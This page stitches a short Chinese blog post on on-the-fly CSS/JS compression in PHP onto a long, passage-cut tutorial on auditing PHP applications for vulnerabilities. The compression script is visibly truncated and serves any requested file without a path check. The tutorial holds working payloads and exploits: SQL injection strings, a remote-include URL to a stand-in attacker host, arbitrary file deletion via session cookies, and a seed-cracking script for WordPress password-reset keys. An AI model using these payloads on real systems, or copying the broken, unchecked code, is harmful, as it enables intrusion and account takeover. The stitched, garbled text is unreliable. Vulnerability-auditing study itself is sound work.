关于压缩

压缩 CSS 的方法, 无外乎缩写代码和清除多余字符来实现, 平时只要养成使用缩写的技巧就可以明显减少最终代码的整体大小. 在此我就不做过多的描述, 后文也会有简单的压缩代码.

相比于前者, JavaScript 的压缩方式就比较丰富工具也很多, 常用的有: Packer/YUI-compressor/Dojo Compressor 等, 本人比较喜欢用 Packer 来压缩, 压缩比例可以达到 50% 上下.

我不知道读者是如何对 CSS/JavaScript 进行处理的, 但在此之前我都是线下压缩然后在上传, 但还是有些麻烦且不便于管理. 于是最近正好找到一个 Packer 的后端类, 在不改动原 CSS/JavaScript 的前提下实时压缩文件并输出, 可以更好的解决我目前的困扰.

实现过程

首先在下载：packer.php-1.1.zip 并解压 class.JavaScriptPacker.php 到你的当前主题目录, 然后在相同位置创建compress.php 文件, 内容如下:

<?php

'javascript', 'css' => 'css');

if (file_exists($path)) { // 判断文件存在的情况下在执行压缩工作
  Header('Content-Type: text/' . $head[$info] . '; charset=utf-8'); // 必需定义相应的文件头
  $script = file_get_contents($path); //读取文件

  if ($info != 'css') { // 判断不同的文件类型做处理
    require 'class.JavaScriptPacker.php'; // 引用 Packer 类
    $packer = new JavaScriptPacker($script, 'Normal', true, false); // 设置压缩参数
    $packed = $packer->pack(); // 压缩并写入变量
  } else { // 处理 CSS 文件
    $packer = preg_replace("!/\*[^*]*\*+([^/][^*]*\*+)*/!", "", $script); // 清除多余注释
    $packed = str_replace(array("\r\n", "\r", "\n", "\t", "  ", "    ", "    "), null, $packer); // 清除多余换行、空格、缩进符
  }

  echo $packed; // 输出所压缩的内容
}
;?>

然后在相同的位置创建一个 .htaccess 文件, 内容如下：

RewriteEngine On
RewriteRule (.*.(js|css))$ /compress.php?name=$1

后记

该方法在自己的vps+Apache 环境下通过, 直接访问相应文件的绝对路径就会自动压缩并输出, 但是如果你的主机不支持 Rewrite 功能的话, 可以跳过创建 .htaccess 然后通过 http://youdomain.com/content/templates/主题目录/compress.php?name=文件名称.css/js 来调用文件.

前言

PHP是一种被广泛使用的脚本语言，尤其适合于web开发。具有跨平台，容易学习，功能强大等特点，据统计全世界有超过34%的网站有php的应用，包括Yahoo、sina、163、sohu等大型门户网站。而且很多具名的web应用系统（包括bbs,blog,wiki,cms等等）都是使用php开发的，Discuz、phpwind、phpbb、vbb、wordpress、boblog等等。随着web安全的热点升级，php应用程序的代码安全问题也逐步兴盛起来，越来越多的安全人员投入到这个领域，越来越多的应用程序代码漏洞被披露。针对这样一个状况，很多应用程序的官方都成立了安全部门，或者雇佣安全人员进行代码审计，因此出现了很多自动化商业化的代码审计工具。也就是这样的形势导致了一个局面：大公司的产品安全系数大大的提高，那些很明显的漏洞基本灭绝了，那些大家都知道的审计技术都无用武之地了。我们面对很多工具以及大牛扫描过n遍的代码，有很多的安全人员有点悲观，而有的官方安全人员也非常的放心自己的代码，但是不要忘记了“没有绝对的安全”，我们应该去寻找新的途径挖掘新的漏洞。本文就给介绍了一些非传统的技术经验和大家分享。

另外在这里特别说明一下本文里面很多漏洞都是来源于网络上牛人和朋友们的分享，在这里需要感谢他们 ：）

传统的代码审计技术

WEB应用程序漏洞查找基本上是围绕两个元素展开：变量与函数。也就是说一漏洞的利用必须把你提交的恶意代码通过变量经过n次变量转换传递，最终传递给目标函数执行，还记得MS那句经典的名言吗？“一切输入都是有害的”。这句话只强调了变量输入，很多程序员把“输入”理解为只是gpc[$_GET,$_POST,$_COOKIE]，但是变量在传递过程产生了n多的变化。导致很多过滤只是个“纸老虎”！我们换句话来描叙下代码安全：“一切进入函数的变量是有害的”。

PHP代码审计技术用的最多也是目前的主力方法：静态分析，主要也是通过查找容易导致安全漏洞的危险函数，常用的如grep，findstr等搜索工具，很多自动化工具也是使用正则来搜索这些函数。下面列举一些常用的函数，也就是下文说的字典（暂略）。但是目前基本已有的字典很难找到漏洞，所以我们需要扩展我们的字典，这些字典也是本文主要探讨的。

其他的方法有：通过修改PHP源代码来分析变量流程，或者hook危险的函数来实现对应用程序代码的审核，但是这些也依靠了我们上面提到的字典。

PHP版本与应用代码审计

到目前为止，PHP主要有3个版本：php4、php5、php6，使用比例大致如下：

php4	68%	2000-2007，No security fixes after 2008/08，最终版本是php4.4.9
php5	32%	2004-present，Now at version 5.2.6（PHP 5.3 alpha1 released!）
php6		目前还在测试阶段，变化很多做了大量的修改，取消了很多安全选项如magic_quotes_gpc（这个不是今天讨论的范围）

由于php缺少自动升级的机制，导致目前PHP版本并存，也导致很多存在漏洞没有被修补。这些有漏洞的函数也是我们进行WEB应用程序代码审计的重点对象，也是我们字典重要来源。

其他的因素与应用代码审计

很多代码审计者拿到代码就看，他们忽视了“安全是一个整体”，代码安全很多的其他因素有关系，比如上面我们谈到的PHP版本的问题，比较重要的还有操作系统类型（主要是两大阵营win/*nix），WEB服务端软件（主要是iis/apache两大类型）等因素。这是由于不同的系统不同的WEB SERVER有着不同的安全特点或特性，下文有些部分会涉及。

所以我们在做某个公司WEB应用代码审计时，应该了解他们使用的系统，WEB服务端软件，PHP版本等信息。

扩展我们的字典

下面将详细介绍一些非传统PHP应用代码审计一些漏洞类型和利用技巧。

变量本身的key

说到变量的提交很多人只是看到了GET/POST/COOKIE等提交的变量的值，但是忘记了有的程序把变量本身的key也当变量提取给函数处理。

<?php //key.php?aaaa'aaa=1&bb'b=2  //print_R($_GET);   foreach ($_GET AS $key => $value) {         print $key."\n"; } ?>

上面的代码就提取了变量本身的key显示出来，单纯对于上面的代码，如果我们提交URL：

key.php?<script>alert(1);</script>=1&bbb=2

那么就导致一个xss的漏洞，扩展一下如果这个key提交给include()等函数或者sql查询呢？：）

漏洞审计策略

PHP版本要求：无 系统要求：无 审计策略：通读代码

变量覆盖

很多的漏洞查找者都知道extract()这个函数在指定参数为EXTR_OVERWRITE或者没有指定函数可以导致变量覆盖，但是还有很多其他情况导致变量覆盖的如：

遍历初始化变量

请看如下代码：

<?php //var.php?a=fuck $a='hi'; foreach($_GET as $key => $value) {         $$key = $value; } print $a; ?>

很多的WEB应用都使用上面的方式（注意循环不一定是foreach），如Discuz!4.1的WAP部分的代码：

$chs = ''; if($_POST && $charset != 'utf-8') {         $chs = new Chinese('UTF-8', $charset);         foreach($_POST as $key => $value) {                 $$key = $chs->Convert($value);         }         unset($chs);

漏洞审计策略

PHP版本要求：无 系统要求：无 审计策略：通读代码

parse_str()变量覆盖漏洞

//var.php?var=new $var = 'init';                     
parse_str($_SERVER['QUERY_STRING']); print $var;

该函数一样可以覆盖数组变量，上面的代码是通过$_SERVER['QUERY_STRING']来提取变量的，对于指定了变量名的我们可以通过注射“=”来实现覆盖其他的变量：

//var.php?var=1&a[1]=var1%3d222 $var1 = 'init'; parse_str($a[$_GET['var']]); print $var1;

上面的代码通过提交$var来实现对$var1的覆盖。

漏洞审计策略（parse_str）

PHP版本要求：无 系统要求：无 审计策略：查找字符parse_str

漏洞审计策略（mb_parse_str）

PHP版本要求：php4<4.4.7 php5<5.2.2 系统要求：无 审计策略：查找字符mb_parse_str

import_request_variables()变量覆盖漏洞

//var.php?_SERVER[REMOTE_ADDR]=10.1.1.1 echo 'GLOBALS '.(int)ini_get("register_globals")."n"; import_request_variables('GPC'); if ($_SERVER['REMOTE_ADDR'] != '10.1.1.1') die('Go away!'); echo 'Hello admin!';

漏洞审计策略（import_request_variables）

PHP版本要求：php4<4.4.1 php5<5.2.2 系统要求：无 审计策略：查找字符import_request_variables

PHP5 Globals

从严格意义上来说这个不可以算是PHP的漏洞，只能算是一个特性，测试代码：

<? // register_globals =ON //foo.php?GLOBALS[foobar]=HELLO php echo $foobar; ?>

但是很多的程序没有考虑到这点，请看如下代码：

//为了安全取消全局变量 //var.php?GLOBALS[a]=aaaa&b=111 if (ini_get('register_globals')) foreach($_REQUEST as $k=>$v) unset(${$k}); print $a; print $_GET[b];

如果熟悉WEB2.0的攻击的同学，很容易想到上面的代码我们可以利用这个特性进行crsf攻击。

漏洞审计策略

PHP版本要求：无 系统要求：无 审计策略：通读代码

magic_quotes_gpc与代码安全

什么是magic_quotes_gpc

当打开时，所有的 '（单引号），"（双引号），\（反斜线）和 NULL 字符都会被自动加上一个反斜线进行转义。还有很多函数有类似的作用 如：addslashes()、mysql_escape_string()、mysql_real_escape_string()等，另外还有parse_str()后的变量也受magic_quotes_gpc的影响。目前大多数的主机都打开了这个选项，并且很多程序员也注意使用上面那些函数去过滤变量，这看上去很安全。很多漏洞查找者或者工具遇到些函数过滤后的变量直接就放弃，但是就在他们放弃的同时也放过很多致命的安全漏洞。 ：）

哪些地方没有魔术引号的保护

1) $_SERVER变量

PHP5的$_SERVER变量缺少magic_quotes_gpc的保护，导致近年来X-Forwarded-For的漏洞猛暴，所以很多程序员考虑过滤X-Forwarded-For，但是其他的变量呢？

漏洞审计策略（$_SERVER变量）

PHP版本要求：无 系统要求：无 审计策略：查找字符_SERVER

2) getenv()得到的变量（使用类似$_SERVER变量）

漏洞审计策略（getenv()）

PHP版本要求：无 系统要求：无 审计策略：查找字符getenv

3) $HTTP_RAW_POST_DATA与PHP输入、输出流

主要应用与soap/xmlrpc/webpublish功能里，请看如下代码：

if ( !isset( $HTTP_RAW_POST_DATA ) ) {         $HTTP_RAW_POST_DATA = file_get_contents( 'php://input' ); } if ( isset($HTTP_RAW_POST_DATA) )         $HTTP_RAW_POST_DATA = trim($HTTP_RAW_POST_DATA);

漏洞审计策略（数据流）

PHP版本要求：无 系统要求：无 审计策略：查找字符HTTP_RAW_POST_DATA或者php://input

4) 数据库操作容易忘记'的地方如：in()/limit/order by/group by

如Discuz!<5.0的pm.php：

if(is_array($msgtobuddys)) {         $msgto = array_merge($msgtobuddys, array($msgtoid));                 ...... foreach($msgto as $uid) {         $uids .= $comma.$uid;         $comma = ','; } ...... $query = $db->query("SELECT m.username, mf.ignorepm FROM {$tablepre}members m
        LEFT JOIN {$tablepre}memberfields mf USING(uid)
        WHERE m.uid IN ($uids)");

漏洞审计策略

PHP版本要求：无 系统要求：无 审计策略：查找数据库操作字符（select,update,insert等等）

变量的编码与解码

一个WEB程序很多功能的实现都需要变量的编码解码，而且就在这一转一解的传递过程中就悄悄的绕过你的过滤的安全防线。

这个类型的主要函数有：

1) stripslashes() 这个其实就是一个decode-addslashes()

2) 其他字符串转换函数：

base64_decode	对使用 MIME base64 编码的数据进行解码
base64_encode	使用 MIME base64 对数据进行编码
rawurldecode	对已编码的 URL 字符串进行解码
rawurlencode	按照 RFC 1738 对 URL 进行编码
urldecode	解码已编码的 URL 字符串
urlencode	编码 URL 字符串
...	...

另外一个 unserialize/serialize

3) 字符集函数（GKB,UTF7/8...）如iconv()/mb_convert_encoding()等

目前很多漏洞挖掘者开始注意这一类型的漏洞了，如典型的urldecode：

$sql = "SELECT * FROM article WHERE articleid='".urldecode($_GET[id])."'";

当magic_quotes_gpc=on时，我们提交?id=%2527，得到sql语句为：

SELECT * FROM article WHERE articleid='''

漏洞审计策略

PHP版本要求：无 系统要求：无 审计策略：查找对应的编码函数

二次攻击

详细见附录[1]

1)数据库出来的变量没有进行过滤

2)数据库的转义符号：

• mysql/oracle转义符号同样是\（我们提交'通过魔术引号变化为\'，当我们update进入数据库时，通过转义变为'）
• mssql的转义字符为'（所以我们提交'通过魔术引号变化为\'，mssql会把它当为一个字符串直接处理，所以魔术引号对于mssql的注射没有任何意义）

从这里我们可以思考得到一个结论：一切进入函数的变量都是有害的，另外利用二次攻击我们可以实现一个webrootkit，把我们的恶意构造直接放到数据库里。我们应当把这样的代码看成一个vul？

漏洞审计策略

PHP版本要求：无 系统要求：无 审计策略：通读代码

魔术引号带来的新的安全问题

首先我们看下魔术引号的处理机制：

[\-->\\,'-->\',"-->\",null-->\0]

这给我们引进了一个非常有用的符号“\”，“\”符号不仅仅是转义符号，在WIN系统下也是目录转跳的符号。这个特点可能导致php应用程序里产生非常有意思的漏洞：

1)得到原字符（',\,",null]）

$order_sn=substr($_GET['order_sn'], 1); //提交                 ' //魔术引号处理         \' //substr               ' $sql = "SELECT order_id, order_status, shipping_status, pay_status, ".    " shipping_time, shipping_id, invoice_no, user_id ".    " FROM " . $ecs->table('order_info').    " WHERE order_sn = '$order_sn' LIMIT 1";

2)得到“\”字符

$order_sn=substr($_GET['order_sn'], 0,1); //提交                 ' //魔术引号处理         \' //substr               \     $sql = "SELECT order_id, order_status, shipping_status, pay_status, ".    " shipping_time, shipping_id, invoice_no, user_id ".    " FROM " . $ecs->table('order_info').    " WHERE order_sn = '$order_sn' and order_tn='".$_GET['order_tn']."'";

提交内容：

?order_sn='&order_tn=%20and%201=1/* 

执行的SQL语句为：

SELECT order_id, order_status, shipping_status, pay_status, shipping_time, shipping_id, invoice_no, user_id FROM order_info WHERE order_sn = '\' and 
order_tn=' and 1=1/*'

漏洞审计策略

PHP版本要求：无 系统要求：无 审计策略：查找字符串处理函数如substr或者通读代码

变量key与魔术引号

我们最在这一节的开头就提到了变量key，PHP的魔术引号对它有什么影响呢？

<?php //key.php?aaaa'aaa=1&bb'b=2  //print_R($_GET);   foreach ($_GET AS $key => $value)         {         print $key."\n";         } ?>

1)当magic_quotes_gpc = On时，在php5.24下测试显示：

aaaa\'aaa
bb\'b

从上面结果可以看出来，在设置了magic_quotes_gpc = On下，变量key受魔术引号影响。但是在php4和php<5.2.1的版本中，不处理数组第一维变量的key，测试代码如下：

<?php //key.php?aaaa'aaa[bb']=1  print_R($_GET); ?>

结果显示:

Array ( [aaaa'aaa] => Array ( [bb\'] => 1 ) ) 

数组第一维变量的key不受魔术引号的影响。

漏洞审计策略

PHP版本要求：php4和php<5.2.1 系统要求：无 审计策略：通读代码

2)当magic_quotes_gpc = Off时，在php5.24下测试显示：

aaaa'aaa
bb'b

对于magic_quotes_gpc = Off时所有的变量都是不安全的，考虑到这个，很多程序都通过addslashes等函数来实现魔术引号对变量的过滤，示例代码如下：

<?php //keyvul.php?aaa'aa=1' //magic_quotes_gpc = Off  if (!get_magic_quotes_gpc()) {  $_GET  = addslashes_array($_GET); } function addslashes_array($value) {         return is_array($value) ? array_map('addslashes_array', $value) : addslashes($value); } print_R($_GET); foreach ($_GET AS $key => $value) {         print $key; } ?>

以上的代码看上去很完美，但是他这个代码里addslashes($value)只处理了变量的具体的值，但是没有处理变量本身的key，上面的代码显示结果如下：

Array (     [aaa'aa] => 1\'
)
aaa'aa

漏洞审计策略

PHP版本要求：无 系统要求：无 审计策略：通读代码

代码注射

PHP中可能导致代码注射的函数

很多人都知道eval、preg_replace+/e可以执行代码，但是不知道php还有很多的函数可以执行代码如：

assert()

call_user_func()

call_user_func_array()

create_function()

变量函数

...

这里我们看看最近出现的几个关于create_function()代码执行漏洞的代码：

<?php //how to exp this code $sort_by=$_GET['sort_by']; $sorter='strnatcasecmp'; $databases=array('test','test'); $sort_function = '  return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);
              '; usort($databases, create_function('$a, $b', $sort_function));

漏洞审计策略

PHP版本要求：无 系统要求：无 审计策略：查找对应函数（assert,call_user_func,call_user_func_array,create_function等）

变量函数与双引号

对于单引号和双引号的区别，很多程序员深有体会，示例代码：

echo "$a\n"; echo '$a\n';

我们再看如下代码：

//how to exp this code if($globals['bbc_email']){ $text = preg_replace(                 array("/\[email=(.*?)\](.*?)\[\/email\]/ies",                                 "/\[email\](.*?)\[\/email\]/ies"),                 array('check_email("$1", "$2")',                                 'check_email("$1", "$1")'), $text);

另外很多的应用程序都把变量用""存放在缓存文件或者config或者data文件里，这样很容易被人注射变量函数。

漏洞审计策略

PHP版本要求：无 系统要求：无 审计策略：通读代码

PHP自身函数漏洞及缺陷

PHP函数的溢出漏洞

大家还记得Stefan Esser大牛的Month of PHP Bugs（MOPB见附录2）项目么，其中比较有名的要算是unserialize()，代码如下：

unserialize(stripslashes($HTTP_COOKIE_VARS[$cookiename . '_data']);

在以往的PHP版本里，很多函数都曾经出现过溢出漏洞，所以我们在审计应用程序漏洞的时候不要忘记了测试目标使用的PHP版本信息。

漏洞审计策略

PHP版本要求：对应fix的版本 系统要求： 审计策略：查找对应函数名

PHP函数的其他漏洞

Stefan Esser大牛发现的漏洞：unset()--Zend_Hash_Del_Key_Or_Index Vulnerability 比如phpwind早期的serarch.php里的代码：

unset($uids); ...... $query=$db->query("SELECT uid FROM pw_members WHERE username LIKE '$pwuser'"); while($member=$db->fetch_array($query)){         $uids .= $member['uid'].','; } $uids ? $uids=substr($uids,0,-1) : $sqlwhere.=' AND 0 '; ........ $query = $db->query("SELECT DISTINCT t.tid FROM $sqltable WHERE $sqlwhere $orderby $limit");

漏洞审计策略

PHP版本要求：php4<4.3 php5<5.14 系统要求：无 审计策略：查找unset

session_destroy()删除文件漏洞

测试PHP版本：5.1.2 这个漏洞是几年前朋友saiy发现的，session_destroy()函数的功能是删除session文件，很多web应用程序的logout的功能都直接调用这个函数删除session，但是这个函数在一些老的版本中缺少过滤导致可以删除任意文件。测试代码如下：

<?php //val.php    session_save_path('./'); session_start(); if($_GET['del']) {         session_unset();         session_destroy(); }else{         $_SESSION['hei']=1;         echo(session_id());         print_r($_SESSION); } ?>

当我们提交构造cookie:PHPSESSID=/../1.php，相当于unlink('sess_/../1.php')这样就通过注射../转跳目录删除任意文件了。很多著名的程序某些版本都受影响如phpmyadmin，sablog，phpwind3等等。

漏洞审计策略

PHP版本要求：具体不详 系统要求：无 审计策略：查找session_destroy

随机函数

1) rand() VS mt_rand()

<?php //on windows print mt_getrandmax(); //2147483647 print getrandmax();// 32767 ?>

可以看出rand()最大的随机数是32767，这个很容易被我们暴力破解。

<?php
$a= md5(rand()); for($i=0;$i<=32767;$i++){   if(md5($i) ==$a ) {    print $i."-->ok!!<br>";exit;    }else { print $i."<br>";} } ?>

当我们的程序使用rand处理session时，攻击者很容易暴力破解出你的session，但是对于mt_rand是很难单纯的暴力的。

漏洞审计策略

PHP版本要求：无 系统要求：无 审计策略：查找rand

2) mt_srand()/srand()-weak seeding（by Stefan Esser）

看php手册里的描述：

mt_srand (PHP 3 >= 3.0.6, PHP 4, PHP 5) mt_srand -- 播下一个更好的随机数发生器种子 说明 void mt_srand ( int seed )

用 seed 来给随机数发生器播种。从 PHP 4.2.0 版开始，seed 参数变为可选项，当该项为空时，会被设为随时数。

例子 1. mt_srand() 范例

<?php // seed with microseconds function make_seed() {     list($usec, $sec) = explode(' ', microtime());     return (float) $sec + ((float) $usec * 100000); } mt_srand(make_seed()); $randval = mt_rand(); ?> 

注: 自 PHP 4.2.0 起，不再需要用 srand() 或 mt_srand() 函数给随机数发生器播种，现已自动完成。

php从4.2.0开始实现了自动播种，但是为了兼容，后来使用类似于这样的代码播种：

mt_srand ((double) microtime() * 1000000)

但是使用(double)microtime()*1000000类似的代码seed是比较脆弱的：

0<(double) microtime()<1 ---> 0<(double) microtime()* 1000000<1000000

那么很容易暴力破解,测试代码如下：

<?php ///////////////// //>php rand.php //828682 //828682 //////////////// ini_set("max_execution_time",0); $time=(double) microtime()* 1000000; print $time."\n"; mt_srand ($time); $search_id = mt_rand(); $seed = search_seed($search_id); print $seed; function search_seed($rand_num) { $max = 1000000; for($seed=0;$seed<=$max;$seed++){         mt_srand($seed);         $key = mt_rand();         if($key==$rand_num) return $seed; } return false; } ?>

从上面的代码实现了对seed的破解，另外根据Stefan Esser的分析seed还根据进程变化而变化，换句话来说同一个进程里的seed是相同的。 然后同一个seed每次mt_rand的值都是特定的。如下图：

seed-A

mt_rand-A-1 mt_rand-A-2 mt_rand-A-3

seed-B

mt_rand-B-1 mt_rand-B-2 mt_rand-B-3

对于seed-A里mt_rand-1/2/3都是不相等的，但是值都是特定的，也就是说当seed-A等于seed-B，那么mt_rand-A-1就等于mt_rand-B-1…，这样我们只要能够得到seed就可以得到每次mt_rand的值了。

对于5.2.6>php>4.2.0直接使用默认播种的程序也是不安全的（很多的安全人员错误的以为这样就是安全的），这个要分两种情况来分析：

第一种：'Cross Application Attacks'，这个思路在Stefan Esser文章里有提到，主要是利用其他程序定义的播种（如mt_srand ((double) microtime()* 1000000)），phpbb+wordpree组合就存在这样的危险.

第二种：5.2.6>php>4.2.0默认播种的算法也不是很强悍，这是Stefan Esser的文章里的描述：

The Implementation
When mt_rand() is seeded internally or by a call to mt_srand() PHP 4 and PHP 5 <= 5.2.0 force the lowest bit to 1. Therefore the strength of the seed is only 31 and not 32 bits. In PHP 5.2.1 and above the implementation of the Mersenne Twister was changed and the forced bit removed.

在32位系统上默认的播种的种子为最大值是2^32，这样我们循环最多2^32次就可以破解seed。而在PHP 4和PHP 5 <= 5.2.0 的算法有个bug：奇数和偶数的播种是一样的（详见附录3）,测试代码如下：

<?php
mt_srand(4); $a = mt_rand(); mt_srand(5); $b = mt_rand(); print $a."\n".$b; ?>

通过上面的代码发现$a==$b，所以我们循环的次数为2^32/2=231次。我们看如下代码：

<?php //base on http://www.milw0rm.com/exploits/6421  //test on php 5.2.0 define('BUGGY', 1); //上面代码$a==$b时候定义BUGGY=1 $key = wp_generate_password(20, false); echo $key."\n"; $seed = getseed($key); print $seed."\n"; mt_srand($seed); $pass = wp_generate_password(20, false); echo $pass."\n";        
        function wp_generate_password($length = 12, $special_chars = true) {         $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';         if ( $special_chars )                 $chars .= '!@#$%^&*()';         $password = '';         for ( $i = 0; $i < $length; $i++ )                 $password .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);         return $password; } function getseed($resetkey) {         $max = pow(2,(32-BUGGY));         for($x=0;$x<=$max;$x++) {                 $seed = BUGGY ? ($x << 1) + 1 : $x;                 mt_srand($seed);                 $testkey = wp_generate_password(20,false);                 if($testkey==$resetkey) { echo "o\n"; return $seed; }                 if(!($x % 10000)) echo $x / 10000;         }         echo "\n";         return false; } ?>

运行结果如下：

php5>php rand.php
M8pzpjwCrvVt3oobAaOr 0123456789101112131415161718192021222324252627282930313233343536373839404142434 445464748495051525354555657585960616263646566676869 7071727374757677787980818283848586878889909192939495969798991001011021031041051 061071081091101111121131141151161171181191201211221 2312412512612712812913013113213313413513613713813914014114214314414514614714814 915015115215315415515615715815916016116216316416516 6167168169170171172173174175176177178179180181182183184185186187188189190191192 193194195196197198199200201202203204205206207208209 2102112122132142152162172182192202212222232242252262272282292302312322332342352 362372382392402412422432442452462472482492502512522 ..............01062110622106231062410625106261062710628106291063010631106321063 3o 70693 pjwCrvVt3oobAaOr

当10634次时候我们得到了结果。

当PHP版本到了5.2.1后，通过修改算法修补了奇数和偶数的播种相等的问题，这样也导致了php5.2.0前后导致同一个播种后的mt_rand()的值不一样。比如：

<?php
mt_srand(42); echo mt_rand(); //php<=5.20 1387371436 //php>5.20 1354439493            ?>

正是这个原因，也要求了我们的exp的运行环境：当目标>5.20时候，我们exp运行的环境也要是>5.20的版本，反过来也是一样。

从上面的测试及分析来看，php<5.26不管有没有定义播种，mt_rand处理的数据都是不安全的。在web应用里很多都使用mt_rand来处理随机的session，比如密码找回功能等等，这样的后果就是被攻击者恶意利用直接修改密码。

很多著名的程序都产生了类似的漏洞如wordpress、phpbb、punbb等等。（在后面我们将实际分析下国内著名的bbs程序Discuz!的mt_srand导致的漏洞）

漏洞审计策略

PHP版本要求：php4 php5<5.2.6 系统要求：无 审计策略：查找mt_srand/mt_rand

特殊字符

其实“特殊字符”也没有特定的标准定义，主要是在一些code hacking发挥着特殊重作用的一类字符。下面就举几个例子：

截断

其中最有名的数大家都熟悉的null字符截断。

include截断

<?php 
include $_GET['action'].".php"; ?>

提交“action=/etc/passwd%00”中的“%00”将截断后面的“.php”，但是除了“%00”还有没有其他的字符可以实现截断使用呢？肯定有人想到了远程包含的url里问号“?”的作用，通过提交“action=http://www.hacksite.com/evil-code.txt?”这里“?”实现了“伪截断”：），好象这个看上去不是那么舒服那么我们简单写个代码fuzz一下：

<?php //////////////////// ////var5.php代码: ////include $_GET['action'].".php";  ////print strlen(realpath("./"))+strlen($_GET['action']);   /////////////////// ini_set('max_execution_time', 0); $str=''; for($i=0;$i<50000;$i++) {         $str=$str."/";         $resp=file_get_contents('http://127.0.0.1/var/var5.php?action=1.txt'.$str);         //1.txt里的代码为print 'hi';         if (strpos($resp, 'hi') !== false){                 print $i;                 exit;         } } ?>

经过测试字符“.”、“ /”或者2个字符的组合，在一定的长度时将被截断，win系统和*nix的系统长度不一样，当win下strlen(realpath("./"))+strlen($_GET['action'])的长度大于256时被截断，对于*nix的长度是4 * 1024 = 4096。对于php.ini里设置远程文件关闭的时候就可以利用上面的技巧包含本地文件了。（此漏洞由cloie#ph4nt0m.org最先发现]）

数据截断

对于很多web应用文件在很多功能是不容许重复数据的，比如用户注册功能等。一般的应用程序对于提交注册的username和数据库里已有的username对比是不是已经有重复数据，然而我们可以通过“数据截断”等来饶过这些判断，数据库在处理时候产生截断导致插入重复数据。

1) Mysql SQL Column Truncation Vulnerabilities

这个漏洞又是大牛Stefan Esser发现的（Stefan Esser是我的偶像:)），这个是由于mysql的sql_mode设置为default的时候，即没有开启STRICT_ALL_TABLES选项时，MySQL对于插入超长的值只会提示warning，而不是error（如果是error就插入不成功），这样可能会导致一些截断问题。测试如下：

mysql> insert into truncated_test(`username`,`password`) values("admin","pass"); mysql> insert into truncated_test(`username`,`password`) values("admin           x", "new_pass"); Query OK, 1 row affected, 1 warning (0.01 sec) mysql> select * from truncated_test; +----+------------+----------+ | id | username   | password | +----+------------+----------+ | 1 | admin      | pass     | | 2 | admin      | new_pass | +----+------------+----------+ 2 rows in set (0.00 sec)

2) Mysql charset Truncation vulnerability

这个漏洞是80sec发现的，当mysql进行数据存储处理utf8等数据时对某些字符导致数据截断。测试如下：

mysql> insert into truncated_test(`username`,`password`) values(concat("admin",0xc1), "new_pass2"); Query OK, 1 row affected, 1 warning (0.00 sec) mysql> select * from truncated_test; +----+------------+----------+ | id | username   | password | +----+------------+----------+ | 1 | admin      | pass      | | 2 | admin      | new_pass  | | 3 | admin      | new_pass2 | +----+------------+----------+ 2 rows in set (0.00 sec)

很多的web应用程序没有考虑到这些问题，只是在数据存储前简单查询数据是否包含相同数据，如下代码：

$result = mysql_query("SELECT * from test_user where user='$user' ");   .... if(@mysql_fetch_array($result, MYSQL_NUM)) {         die("already exist"); }

漏洞审计策略

PHP版本要求：无 系统要求：无 审计策略：通读代码

文件操作里的特殊字符

文件操作里有很多特殊的字符，发挥特别的作用，很多web应用程序没有注意处理这些字符而导致安全问题。比如很多人都知道的windows系统文件名对“空格”和“.”等的忽视，这个主要体现在上传文件或者写文件上，导致直接写webshell。另外对于windows系统对“.\..\”进行系统转跳等等。 下面还给大家介绍一个非常有意思的问题：

//Is this code vul? if( eregi(".php",$url) ){         die("ERR"); } $fileurl=str_replace($webdb[www_url],"",$url); ..... header('Content-Disposition: attachment; filename='.$filename);

很多人看出来了上面的代码的问题，程序首先禁止使用“.php”后缀。但是下面居然接了个str_replace替换$webdbwww_url为空，那么我们提交“.p$webdbwww_urlhp”就可以饶过了。那么上面的代码杂fix呢？有人给出了如下代码：

$fileurl=str_replace($webdb[www_url],"",$url); if( eregi(".php",$url) ){         die("ERR"); }

str_replace提到前面了，很完美的解决了str_replace代码的安全问题，但是问题不是那么简单，上面的代码在某些系统上一样可以突破。接下来我们先看看下面的代码：

<?php for($i=0;$i<255;$i++) {         $url = '1.ph'.chr($i);         $tmp = @file_get_contents($url);         if(!empty($tmp)) echo chr($i)."\r\n"; }   ?>

我们在windows系统运行上面的代码得到如下字符* < > ? P p都可以打开目录下的1.php。

漏洞审计策略

PHP版本要求：无 系统要求：无 审计策略：文读取件操作函数

怎么进一步寻找新的字典

上面我们列举很多的字典，但是很多都是已经公开过的漏洞或者方式，那么我们怎么进一步找到新的字典或者利用方式呢？

• 分析和学习别人发现的漏洞或者exp，总结出漏洞类型及字典
• 通过学习php手册或者官方文档,挖掘出新的有危害的函数或者利用方式
• fuzz php的函数，找到新的有问题的函数（不一定非要溢出的），如上一章的4.6的部分很多都可以简单的fuzz脚本可以测试出来
• 分析php源代码，发现新的漏洞函数“特性”或者漏洞。（在上一节里介绍的那些“漏洞审计策略”里，都没有php源代码的分析，如果你要进一步找到新的字典，可以在php源代码的基础上分析下成因，然后根据这个成因来分析寻找新的漏洞函数“特性”或者漏洞。）（我们以后会陆续公布一些我们对php源代码的分析）
• 有条件或者机会和开发者学习，找到他们实现某些常用功能的代码的缺陷或者容易忽视的问题
• 你有什么要补充的吗？ ：）

DEMO

DEMO -- Discuz! Reset User Password 0day Vulnerability 分析 （Exp:http://www.80vul.com/dzvul/sodb/14/sodb-2008-14.txt）

PHP版本要求:php4 php5<5.2.6 系统要求: 无 审计策略:查找mt_srand/mt_rand

第一步 安装Discuz! 6.1后利用grep查找mt_srand得到：

heige@heige-desktop:~/dz6/upload$ grep -in 'mt_srand' -r ./ --colour -5 ./include/global.func.php-694-  $GLOBALS['rewritecompatible'] && $name = rawurlencode($name); ./include/global.func.php-695-  return '<a href="tag-'.$name.'.html"'.stripslashes($extra).'>'; ./include/global.func.php-696-} ./include/global.func.php-697- ./include/global.func.php-698-function random($length, $numeric = 0) { ./include/global.func.php:699:  PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000); ./include/global.func.php-700-  if($numeric) { ./include/global.func.php-701-          $hash = sprintf('%0'.$length.'d', mt_rand(0, pow(10, $length) - 1)); ./include/global.func.php-702-  } else { ./include/global.func.php-703-          $hash = ''; ./include/global.func.php-704-          $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz'; -- ./include/discuzcode.func.php-30- ./include/discuzcode.func.php-31-if(!isset($_DCACHE['bbcodes']) || !is_array($_DCACHE['bbcodes']) || !is_array($_DCACHE['smilies'])) { ./include/discuzcode.func.php-32-       